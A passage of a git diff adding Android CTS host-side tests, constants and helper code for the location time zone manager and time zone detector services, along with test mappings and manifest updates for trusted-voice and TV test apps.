+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+/**
+ * Constants related to the LocationTimeZoneManager service that are used by shell commands and
+ * tests.
+ *
+ * <p>See {@link android.app.time.LocationTimeZoneManager} for the device-side class that holds
+ * this information.
+ *
+ * @hide
+ */
+final class LocationTimeZoneManager {
+
+    /**
+     * The index of the primary location time zone provider, used for shell commands.
+     */
+    static final int PRIMARY_PROVIDER_INDEX = 0;
+
+    /**
+     * The index of the secondary location time zone provider, used for shell commands.
+     */
+    static final int SECONDARY_PROVIDER_INDEX = 1;
+
+    /**
+     * The name of the service for shell commands.
+     */
+    static final String SHELL_COMMAND_SERVICE_NAME = "location_time_zone_manager";
+
+    /**
+     * A shell command that starts the service (after stop).
+     */
+    static final String SHELL_COMMAND_START = "start";
+
+    /**
+     * A shell command that stops the service.
+     */
+    static final String SHELL_COMMAND_STOP = "stop";
+
+    /**
+     * A shell command that tells the service to record state information during tests. The next
+     * argument value is "true" or "false".
+     */
+    static final String SHELL_COMMAND_RECORD_PROVIDER_STATES = "record_provider_states";
+
+    /**
+     * A shell command that tells the service to dump its current state.
+     */
+    static final String SHELL_COMMAND_DUMP_STATE = "dump_state";
+
+    /**
+     * Option for {@link #SHELL_COMMAND_DUMP_STATE} that tells it to dump state as a binary proto.
+     */
+    static final String DUMP_STATE_OPTION_PROTO = "proto";
+
+    /**
+     * A shell command that sends test commands to a provider
+     */
+    static final String SHELL_COMMAND_SEND_PROVIDER_TEST_COMMAND =
+            "send_provider_test_command";
+
+    /**
+     * Simulated provider test command that simulates the bind succeeding.
+     */
+    static final String SIMULATED_PROVIDER_TEST_COMMAND_ON_BIND = "on_bind";
+
+    /**
+     * Simulated provider test command that simulates a successful time zone detection.
+     */
+    static final String SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS = "success";
+
+    /**
+     * Argument for {@link #SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS} to specify TZDB time zone IDs.
+     */
+    static final String SIMULATED_PROVIDER_TEST_COMMAND_SUCCESS_ARG_KEY_TZ = "tz";
+
+    /** Constants for interacting with the device_config service. */
+    final static class DeviceConfig {
+
+        /** The name of the device_config service command. */
+        static final String SHELL_COMMAND_SERVICE_NAME = "device_config";
+
+        /** The DeviceConfig namespace used for the location_time_zone_manager. */
+        static final String NAMESPACE = "system_time";
+
+        /**
+         * The key for the server flag that can override the device config for whether the primary
+         * location time zone provider is enabled, disabled, or (for testing) in simulation mode.
+         */
+        static final String KEY_PRIMARY_LOCATION_TIME_ZONE_PROVIDER_MODE_OVERRIDE =
+                "primary_location_time_zone_provider_mode_override";
+
+        /**
+         * The key for the server flag that can override the device config for whether the secondary
+         * location time zone provider is enabled or disabled, or (for testing) in simulation mode.
+         */
+        static final String KEY_SECONDARY_LOCATION_TIME_ZONE_PROVIDER_MODE_OVERRIDE =
+                "secondary_location_time_zone_provider_mode_override";
+
+        /**
+         * The "simulated" provider mode.
+         * For use with {@link #KEY_PRIMARY_LOCATION_TIME_ZONE_PROVIDER_MODE_OVERRIDE} and {@link
+         * #KEY_SECONDARY_LOCATION_TIME_ZONE_PROVIDER_MODE_OVERRIDE}.
+         */
+        static final String PROVIDER_MODE_SIMULATED = "simulated";
+
+        /**
+         * The "disabled" provider mode (equivalent to there being no provider configured).
+         * For use with {@link #KEY_PRIMARY_LOCATION_TIME_ZONE_PROVIDER_MODE_OVERRIDE} and {@link
+         * #KEY_SECONDARY_LOCATION_TIME_ZONE_PROVIDER_MODE_OVERRIDE}.
+         */
+        static final String PROVIDER_MODE_DISABLED = "disabled";
+
+        private DeviceConfig() {
+            // No need to instantiate.
+        }
+    }
+
+    private LocationTimeZoneManager() {
+        // No need to instantiate.
+    }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
new file mode 100644
index 0000000..2048da1
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+
+import static android.time.cts.host.LocationTimeZoneManager.DeviceConfig.PROVIDER_MODE_DISABLED;
+import static android.time.cts.host.LocationTimeZoneManager.DeviceConfig.PROVIDER_MODE_SIMULATED;
+import static android.time.cts.host.LocationTimeZoneManager.PRIMARY_PROVIDER_INDEX;
+import static android.time.cts.host.LocationTimeZoneManager.SECONDARY_PROVIDER_INDEX;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.time.LocationTimeZoneManagerServiceStateProto;
+import android.app.time.TimeZoneProviderStateEnum;
+import android.app.time.TimeZoneProviderStateProto;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+
+/** Host-side CTS tests for the location time zone manager service. */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class LocationTimeZoneManagerHostTest extends BaseLocationTimeZoneManagerHostTest {
+
+    @Test
+    public void testSecondarySuggestion() throws Exception {
+        setProviderModeOverride(PRIMARY_PROVIDER_INDEX, PROVIDER_MODE_DISABLED);
+        setProviderModeOverride(SECONDARY_PROVIDER_INDEX, PROVIDER_MODE_SIMULATED);
+        startLocationTimeZoneManagerService();
+        setLocationTimeZoneManagerStateRecordingMode(true);
+
+        simulateProviderBind(SECONDARY_PROVIDER_INDEX);
+        simulateProviderSuggestion(SECONDARY_PROVIDER_INDEX, "Europe/London");
+
+        LocationTimeZoneManagerServiceStateProto serviceState =
+                dumpLocationTimeZoneManagerServiceState();
+        assertEquals(Arrays.asList("Europe/London"),
+                serviceState.getLastSuggestion().getZoneIdsList());
+
+        List<TimeZoneProviderStateProto> secondaryStates =
+                serviceState.getSecondaryProviderStatesList();
+        assertEquals(1, secondaryStates.size());
+        assertEquals(TimeZoneProviderStateEnum.TIME_ZONE_PROVIDER_STATE_CERTAIN,
+                secondaryStates.get(0).getState());
+    }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerStatsTest.java b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerStatsTest.java
new file mode 100644
index 0000000..e5bec10
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerStatsTest.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+import static android.time.cts.host.LocationTimeZoneManager.DeviceConfig.PROVIDER_MODE_DISABLED;
+import static android.time.cts.host.LocationTimeZoneManager.DeviceConfig.PROVIDER_MODE_SIMULATED;
+import static android.time.cts.host.LocationTimeZoneManager.PRIMARY_PROVIDER_INDEX;
+import static android.time.cts.host.LocationTimeZoneManager.SECONDARY_PROVIDER_INDEX;
+
+import static java.util.stream.Collectors.toList;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.LocationTimeZoneProviderStateChanged;
+import com.android.os.StatsLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+import java.util.Set;
+import java.util.function.Function;
+
+/** Host-side CTS tests for the location time zone manager service stats logging. */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class LocationTimeZoneManagerStatsTest extends BaseLocationTimeZoneManagerHostTest {
+
+    private static final int PROVIDER_STATES_COUNT =
+            LocationTimeZoneProviderStateChanged.State.values().length;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+    }
+
+    @After
+    @Override
+    public void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        super.tearDown();
+    }
+
+    @Test
+    public void testAtom_locationTimeZoneProviderStateChanged() throws Exception {
+        setProviderModeOverride(PRIMARY_PROVIDER_INDEX, PROVIDER_MODE_DISABLED);
+        setProviderModeOverride(SECONDARY_PROVIDER_INDEX, PROVIDER_MODE_SIMULATED);
+        mTimeZoneDetectorHostHelper.setGeoDetectionEnabled(false);
+
+        startLocationTimeZoneManagerService();
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.LOCATION_TIME_ZONE_PROVIDER_STATE_CHANGED_FIELD_NUMBER);
+
+        // Turn geo detection on and off, twice.
+        for (int i = 0; i < 2; i++) {
+            mTimeZoneDetectorHostHelper.setGeoDetectionEnabled(true);
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+            mTimeZoneDetectorHostHelper.setGeoDetectionEnabled(false);
+            Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        }
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // States.
+        Set<Integer> primaryProviderStarted = singletonStateId(PRIMARY_PROVIDER_INDEX,
+                LocationTimeZoneProviderStateChanged.State.INITIALIZING);
+        Set<Integer> primaryProviderFailed = singletonStateId(PRIMARY_PROVIDER_INDEX,
+                LocationTimeZoneProviderStateChanged.State.PERM_FAILED);
+        Set<Integer> secondaryProviderStarted = singletonStateId(SECONDARY_PROVIDER_INDEX,
+                LocationTimeZoneProviderStateChanged.State.INITIALIZING);
+        Set<Integer> secondaryProviderStopped = singletonStateId(SECONDARY_PROVIDER_INDEX,
+                LocationTimeZoneProviderStateChanged.State.STOPPED);
+        Function<AtomsProto.Atom, Integer> eventToStateFunction = atom -> {
+            int providerIndex = atom.getLocationTimeZoneProviderStateChanged().getProviderIndex();
+            return stateId(providerIndex,
+                    atom.getLocationTimeZoneProviderStateChanged().getState());
+        };
+
+        // Add state sets to the list in order.
+        // Assert that the events happened in the expected order. This does not check "wait" (the
+        // time between events).
+        List<Set<Integer>> stateSets = Arrays.asList(
+                primaryProviderStarted, primaryProviderFailed,
+                secondaryProviderStarted, secondaryProviderStopped,
+                secondaryProviderStarted, secondaryProviderStopped);
+        AtomTestUtils.assertStatesOccurred(stateSets, data,
+                0 /* wait */, eventToStateFunction);
+
+        // Assert that the events for the secondary provider happened in the expected order. This
+        // does check "wait" (the time between events).
+        List<StatsLog.EventMetricData> secondaryEvents =
+                extractEventsForProviderIndex(data, SECONDARY_PROVIDER_INDEX);
+        List<Set<Integer>> secondaryStateSets = Arrays.asList(
+                secondaryProviderStarted, secondaryProviderStopped,
+                secondaryProviderStarted, secondaryProviderStopped);
+        AtomTestUtils.assertStatesOccurred(secondaryStateSets, secondaryEvents,
+                AtomTestUtils.WAIT_TIME_SHORT /* wait */, eventToStateFunction);
+    }
+
+    private static Set<Integer> singletonStateId(int providerIndex,
+            LocationTimeZoneProviderStateChanged.State state) {
+        return Collections.singleton(stateId(providerIndex, state));
+    }
+
+    private List<StatsLog.EventMetricData> extractEventsForProviderIndex(
+            List<StatsLog.EventMetricData> data, int providerIndex) {
+        return data.stream().filter(event -> {
+            if (!event.getAtom().hasLocationTimeZoneProviderStateChanged()) {
+                return false;
+            }
+            return event.getAtom().getLocationTimeZoneProviderStateChanged().getProviderIndex()
+                    == providerIndex;
+        }).collect(toList());
+    }
+
+    /** Maps a (provider index, provider state) pair to an integer state ID. */
+    private static Integer stateId(
+            int providerIndex, LocationTimeZoneProviderStateChanged.State providerState) {
+        return (providerIndex * PROVIDER_STATES_COUNT) + providerState.getNumber();
+    }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
new file mode 100644
index 0000000..7265d85
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+/**
+ * Constants related to the TimeZoneDetector service.
+ *
+ * <p>See {@link android.app.timezonedetector.TimeZoneDetector} for the device-side class that holds
+ * this information.
+ */
+interface TimeZoneDetector {
+
+    /**
+     * The name of the service for shell commands.
+     * @hide
+     */
+    String SHELL_COMMAND_SERVICE_NAME = "time_zone_detector";
+
+    /**
+     * A shell command that prints the current "auto time zone detection" global setting value.
+     * @hide
+     */
+    String SHELL_COMMAND_IS_AUTO_DETECTION_ENABLED = "is_auto_detection_enabled";
+
+    /**
+     * A shell command that sets the current "auto time zone detection" global setting value.
+     * @hide
+     */
+    String SHELL_COMMAND_SET_AUTO_DETECTION_ENABLED = "set_auto_detection_enabled";
+
+    /**
+     * A shell command that prints whether the geolocation-based time zone detection feature is
+     * supported on the device.
+     * @hide
+     */
+    String SHELL_COMMAND_IS_GEO_DETECTION_SUPPORTED = "is_geo_detection_supported";
+
+    /**
+     * A shell command that prints the current user's "location-based time zone detection enabled"
+     * setting.
+     * @hide
+     */
+    String SHELL_COMMAND_IS_GEO_DETECTION_ENABLED = "is_geo_detection_enabled";
+
+    /**
+     * A shell command that sets the current user's "location-based time zone detection enabled"
+     * setting.
+     * @hide
+     */
+    String SHELL_COMMAND_SET_GEO_DETECTION_ENABLED = "set_geo_detection_enabled";
+
+    /**
+     * A shell command that injects a geolocation time zone suggestion (as if from the
+     * location_time_zone_manager).
+     * @hide
+     */
+    String SHELL_COMMAND_SUGGEST_GEO_LOCATION_TIME_ZONE = "suggest_geo_location_time_zone";
+
+    /**
+     * A shell command that injects a manual time zone suggestion (as if from the SettingsUI or
+     * similar).
+     * @hide
+     */
+    String SHELL_COMMAND_SUGGEST_MANUAL_TIME_ZONE = "suggest_manual_time_zone";
+
+    /**
+     * A shell command that injects a telephony time zone suggestion (as if from the phone app).
+     * @hide
+     */
+    String SHELL_COMMAND_SUGGEST_TELEPHONY_TIME_ZONE = "suggest_telephony_time_zone";
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetectorHostHelper.java b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetectorHostHelper.java
new file mode 100644
index 0000000..e3201fe
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetectorHostHelper.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.time.cts.host;
+
+import static android.time.cts.host.LocationManager.SHELL_COMMAND_IS_LOCATION_ENABLED;
+import static android.time.cts.host.LocationManager.SHELL_COMMAND_SET_LOCATION_ENABLED;
+import static android.time.cts.host.LocationTimeZoneManager.DeviceConfig.NAMESPACE;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_IS_AUTO_DETECTION_ENABLED;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_IS_GEO_DETECTION_ENABLED;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_SET_AUTO_DETECTION_ENABLED;
+import static android.time.cts.host.TimeZoneDetector.SHELL_COMMAND_SET_GEO_DETECTION_ENABLED;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.ITestDevice;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
+import java.io.InputStreamReader;
+import java.nio.charset.StandardCharsets;
+import java.util.Objects;
+
+/**
+ * A helper class that helps host tests interact with the time_zone_detector and location_manager
+ * services via adb.
+ */
+final class TimeZoneDetectorHostHelper {
+
+    private final ITestDevice mDevice;
+
+    TimeZoneDetectorHostHelper(ITestDevice mDevice) {
+        this.mDevice = Objects.requireNonNull(mDevice);
+    }
+
+    boolean isLocationEnabledForCurrentUser() throws Exception {
+        byte[] result = executeLocationManagerCommand(SHELL_COMMAND_IS_LOCATION_ENABLED);
+        return parseShellCommandBytesAsBoolean(result);
+    }
+
+    void setLocationEnabledForCurrentUser(boolean enabled) throws Exception {
+        executeLocationManagerCommand(
+                "%s %s", SHELL_COMMAND_SET_LOCATION_ENABLED, enabled);
+    }
+
+    boolean isAutoDetectionEnabled() throws Exception {
+        byte[] result = executeTimeZoneDetectorCommand(SHELL_COMMAND_IS_AUTO_DETECTION_ENABLED);
+        return parseShellCommandBytesAsBoolean(result);
+    }
+
+    void setAutoDetectionEnabled(boolean enabled) throws Exception {
+        executeTimeZoneDetectorCommand("%s %s", SHELL_COMMAND_SET_AUTO_DETECTION_ENABLED, enabled);
+    }
+
+    boolean isGeoDetectionEnabled() throws Exception {
+        byte[] result = executeTimeZoneDetectorCommand(SHELL_COMMAND_IS_GEO_DETECTION_ENABLED);
+        return parseShellCommandBytesAsBoolean(result);
+    }
+
+    void setGeoDetectionEnabled(boolean enabled) throws Exception {
+        executeTimeZoneDetectorCommand("%s %s", SHELL_COMMAND_SET_GEO_DETECTION_ENABLED, enabled);
+    }
+
+    void assumeLocationTimeZoneManagerIsPresent() throws Exception {
+        assumeTrue(isLocationTimeZoneManagerPresent());
+    }
+
+    private boolean isLocationTimeZoneManagerPresent() throws Exception {
+        // Look for the service name in "cmd -l".
+        byte[] serviceListBytes = executeShellCommandReturnBytes("cmd -l");
+        try (BufferedReader reader = new BufferedReader(
+                new InputStreamReader(
+                        new ByteArrayInputStream(serviceListBytes), StandardCharsets.UTF_8))) {
+            String serviceName;
+            while ((serviceName = reader.readLine()) != null) {
+                serviceName = serviceName.trim();
+                if (LocationTimeZoneManager.SHELL_COMMAND_SERVICE_NAME.equals(serviceName)) {
+                    return true;
+                }
+            }
+            return false;
+        }
+    }
+
+    boolean isGeoDetectionSupported() throws Exception {
+        byte[] result = executeTimeZoneDetectorCommand(
+                TimeZoneDetector.SHELL_COMMAND_IS_GEO_DETECTION_SUPPORTED);
+        return parseShellCommandBytesAsBoolean(result);
+    }
+
+    void clearSystemTimeDeviceConfigKey(String deviceConfigKey) throws Exception {
+        executeDeviceConfigCommand("delete %s %s", NAMESPACE, deviceConfigKey);
+    }
+
+    void setSystemTimeDeviceConfigKey(String deviceConfigKey, String value) throws Exception {
+        executeDeviceConfigCommand("put %s %s %s", NAMESPACE, deviceConfigKey, value);
+    }
+
+    void resetSystemTimeDeviceConfigKeys() throws Exception {
+        executeDeviceConfigCommand("reset trusted_defaults %s", NAMESPACE);
+    }
+
+    private byte[] executeDeviceConfigCommand(String cmd, Object... args) throws Exception {
+        String command = String.format(cmd, args);
+        return executeShellCommandReturnBytes("cmd %s %s",
+                LocationTimeZoneManager.DeviceConfig.SHELL_COMMAND_SERVICE_NAME, command);
+    }
+
+    private byte[] executeLocationManagerCommand(String cmd, Object... args)
+            throws Exception {
+        String command = String.format(cmd, args);
+        return executeShellCommandReturnBytes("cmd %s %s",
+                LocationManager.SHELL_COMMAND_SERVICE_NAME, command);
+    }
+
+    private byte[] executeTimeZoneDetectorCommand(String cmd, Object... args) throws Exception {
+        String command = String.format(cmd, args);
+        return executeShellCommandReturnBytes("cmd %s %s",
+                TimeZoneDetector.SHELL_COMMAND_SERVICE_NAME, command);
+    }
+
+    byte[] executeShellCommandReturnBytes(String cmd, Object... args) throws Exception {
+        CollectingByteOutputReceiver bytesReceiver = new CollectingByteOutputReceiver();
+        mDevice.executeShellCommand(String.format(cmd, args), bytesReceiver);
+        return bytesReceiver.getOutput();
+    }
+
+    static boolean parseShellCommandBytesAsBoolean(byte[] result) {
+        String resultString = new String(result, 0, result.length, StandardCharsets.ISO_8859_1);
+        if (resultString.startsWith("true")) {
+            return true;
+        } else if (resultString.startsWith("false")) {
+            return false;
+        } else {
+            throw new AssertionError("Command returned unexpected result: " + resultString);
+        }
+    }
+}
diff --git a/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetectorStatsTest.java b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetectorStatsTest.java
new file mode 100644
index 0000000..5e029ed5
--- /dev/null
+++ b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetectorStatsTest.java
@@ -0,0 +1,127 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.time.cts.host;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto;
+import com.android.os.AtomsProto.TimeZoneDetectorState.DetectionMode;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+
+/** Host-side CTS tests for the time zone detector service stats logging. */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class TimeZoneDetectorStatsTest extends BaseHostJUnit4Test {
+
+    protected TimeZoneDetectorHostHelper mTimeZoneDetectorHostHelper;
+
+    @Before
+    public void setUp() throws Exception {
+        mTimeZoneDetectorHostHelper = new TimeZoneDetectorHostHelper(getDevice());
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+    }
+
+    @Test
+    public void testAtom_TimeZoneDetectorState() throws Exception {
+        // Enable the atom.
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.TIME_ZONE_DETECTOR_STATE_FIELD_NUMBER);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // This should trigger a pull.
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // Extract and assert about TimeZoneDetectorState.
+        List<AtomsProto.Atom> atoms = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        boolean found = false;
+        for (AtomsProto.Atom atom : atoms) {
+            if (atom.hasTimeZoneDetectorState()) {
+                AtomsProto.TimeZoneDetectorState state = atom.getTimeZoneDetectorState();
+
+                // There are a few parts of the pull metric we can check easily via the command
+                // line. Checking more would require adding more commands or something that dumps a
+                // proto. This test provides at least some coverage that the atom is working /
+                // matches actual state.
+
+                // The shell reports the same info the atom does for geo detection supported.
+                boolean geoDetectionSupportedFromShell =
+                        mTimeZoneDetectorHostHelper.isGeoDetectionSupported();
+                assertThat(state.getGeoSupported()).isEqualTo(geoDetectionSupportedFromShell);
+
+                // The shell reports the same info the atom does for location enabled.
+                boolean locationEnabledForCurrentUserFromShell =
+                        mTimeZoneDetectorHostHelper.isLocationEnabledForCurrentUser();
+                assertThat(state.getLocationEnabled())
+                        .isEqualTo(locationEnabledForCurrentUserFromShell);
+
+                // The shell reports the user's setting for auto detection.
+                boolean autoDetectionEnabledFromShell =
+                        mTimeZoneDetectorHostHelper.isAutoDetectionEnabled();
+                assertThat(state.getAutoDetectionSetting())
+                        .isEqualTo(autoDetectionEnabledFromShell);
+
+                // The atom reports the functional state for "detection mode", which is derived from
+                // device config and settings. This logic basically repeats the logic used on the
+                // device.
+                DetectionMode expectedDetectionMode;
+                if (!autoDetectionEnabledFromShell) {
+                    expectedDetectionMode = DetectionMode.MANUAL;
+                } else {
+                    boolean geoDetectionSettingEnabledFromShell =
+                            mTimeZoneDetectorHostHelper.isGeoDetectionEnabled();
+                    boolean expectedGeoDetectionEnabled =
+                            geoDetectionSupportedFromShell
+                                    && locationEnabledForCurrentUserFromShell
+                                    && geoDetectionSettingEnabledFromShell;
+                    if (expectedGeoDetectionEnabled) {
+                        expectedDetectionMode = DetectionMode.GEO;
+                    } else {
+                        expectedDetectionMode = DetectionMode.TELEPHONY;
+                    }
+                }
+                assertThat(state.getDetectionMode()).isEqualTo(expectedDetectionMode);
+
+                found = true;
+                break;
+            }
+        }
+        assertWithMessage("Did not find a matching atom TimeZoneDetectorState")
+                .that(found).isTrue();
+    }
+}
diff --git a/hostsidetests/trustedvoice/TEST_MAPPING b/hostsidetests/trustedvoice/TEST_MAPPING
new file mode 100644
index 0000000..fb71ad2
--- /dev/null
+++ b/hostsidetests/trustedvoice/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTrustedVoiceHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/trustedvoice/app/AndroidManifest.xml b/hostsidetests/trustedvoice/app/AndroidManifest.xml
index f54af61..7a0d23c 100755
--- a/hostsidetests/trustedvoice/app/AndroidManifest.xml
+++ b/hostsidetests/trustedvoice/app/AndroidManifest.xml
@@ -16,18 +16,18 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.trustedvoice.app">
+     package="android.trustedvoice.app">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <application>
         <activity android:name=".TrustedVoiceActivity"
-                  android:turnScreenOn="true">
+             android:turnScreenOn="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/tv/Android.bp b/hostsidetests/tv/Android.bp
index ae72d26..399dcb5 100644
--- a/hostsidetests/tv/Android.bp
+++ b/hostsidetests/tv/Android.bp
@@ -26,9 +26,15 @@
         "tradefed",
         "compatibility-host-util",
     ],
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
     ],
+    data: [
+        ":CtsTvTestCasesHelperApp",
+    ],
 }
diff --git a/hostsidetests/tv/TEST_MAPPING b/hostsidetests/tv/TEST_MAPPING
new file mode 100644
index 0000000..56367b9
--- /dev/null
+++ b/hostsidetests/tv/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsHostsideTvTests"
+    }
+  ]
+}
diff --git a/hostsidetests/tv/app/AndroidManifest.xml b/hostsidetests/tv/app/AndroidManifest.xml
index bec7daa..09ac6a3 100644
--- a/hostsidetests/tv/app/AndroidManifest.xml
+++ b/hostsidetests/tv/app/AndroidManifest.xml
@@ -15,22 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.tv.hostside">
+     package="com.android.cts.tv.hostside">
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <service android:name=".StubTvInputService"
-                 android:permission="android.permission.BIND_TV_INPUT">
+             android:permission="android.permission.BIND_TV_INPUT"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.media.tv.TvInputService"/>
             </intent-filter>
             <meta-data android:name="android.media.tv.input"
-                       android:resource="@xml/stub_tv_input_service" />
